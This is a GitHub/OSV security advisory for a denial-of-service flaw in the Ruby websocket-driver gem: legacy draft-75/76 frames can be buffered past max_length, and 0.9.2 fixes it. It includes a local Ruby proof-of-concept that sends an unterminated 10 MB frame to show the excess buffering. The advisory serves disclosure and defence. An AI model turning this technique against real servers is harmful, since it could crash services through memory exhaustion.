GHSA-q3c8-h5pg-2836

Suggest an improvement
Source
https://github.com/advisories/GHSA-q3c8-h5pg-2836
Import Source
https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/12/GHSA-q3c8-h5pg-2836/GHSA-q3c8-h5pg-2836.json
JSON Data
https://api.osv.dev/v1/vulns/GHSA-q3c8-h5pg-2836
Aliases
Published
2026-12-04T22:05:42Z
Modified
2026-12-05T18:48:13Z
Severity
  • 7.5 (High) CVSS_V3 - CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H CVSS Calculator
Summary
websocket-driver: Excessive memory use caused by draft-75/76 buffering
Details

Summary

A server running websocket-driver can be made to buffer data in excess of max_length and potentially run out of memory by a client sending a non-terminated stream of message data.

Details

When configured using allow_drafts: true, the websocket-driver library continues to support legacy draft versions of the WebSocket protocol. These use delimited rather than length-prefixed frames; a frame is initiated by sending 00 and ended by sending FF. If a client sends 00 and then sends a long series of bytes, the server will buffer this data in excess of max_length, potentially causing it to run out of memory if the message is continued indefinitely.

This has been mitigated by properly enforcing the max_length limit at the point where the data is buffered. It can also be prevented by not setting the allow_drafts option.

Proof of concept

This script demonstrates how much data is buffered by a draft-75 parser on receipt of a very long unterminated message:

require 'bundler/setup'
require 'websocket/driver'

class Sock
  def write(_) ; end
end

d = WebSocket::Driver.server(Sock.new, :allow_drafts => true, :max_length => 1024)
d.on(:connect) { d.start }

# draft-75 handshake: NO Sec-WebSocket-Key/Version/Key1/Key2 -> Draft75 selected
d.parse(
  "GET / HTTP/1.1\r\n" +
  "Host: localhost\r\n" +
  "Upgrade: websocket\r\n" +
  "Connection: Upgrade\r\n" +
  "Origin: http://localhost\r\n" +
  "\r\n")

# One text frame: 0x00, then 10 MB of 0x41, NO terminating 0xFF, in one chunk.
N = 10 << 20
chunk = "\x00" + ("\x41" * (N + 1))
d.parse(chunk)

p d.instance_variable_get(:@delegate)
    .instance_variable_get(:@reader)
    .instance_variable_get(:@buffer).bytesize

p d.instance_variable_get(:@delegate)
    .instance_variable_get(:@buffer).size

On vulnerable versions this will print numbers far in excess of the configured max_length.

Impact

A server with allow_drafts enabled can be made to run out of memory and crash by an unauthenticated remote client sending a non-terminating stream of message data.

Database specific
{
    "cwe_ids":  [
        "CWE-770"
    ],
    "github_reviewed":  true,
    "github_reviewed_at":  "2026-12-04T22:05:42Z",
    "nvd_published_at":  "2026-12-03T18:17:26Z",
    "severity":  "HIGH"
}
References

Affected packages

RubyGems / websocket-driver

Package

Name
websocket-driver
Purl
pkg:gem/websocket-driver

Affected ranges

Type
ECOSYSTEM
Events
Introduced
0 Unknown introduced version / All previous versions are affected
Fixed
0.9.2

Affected versions

0.*
0.1.0
0.2.0
0.2.1
0.2.2
0.2.3
0.3.0
0.3.1
0.3.2
0.3.3
0.3.4
0.3.5
0.4.0
0.5.0
0.5.1
0.5.2
0.5.3
0.5.4
0.6.0
0.6.1
0.6.2
0.6.3
0.6.4
0.6.5
0.7.0
0.7.1
0.7.2
0.7.3
0.7.4
0.7.5
0.7.6
0.7.7
0.8.0
0.8.1
0.8.2
0.9.0
0.9.1

Database specific

source
"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/12/GHSA-q3c8-h5pg-2836/GHSA-q3c8-h5pg-2836.json"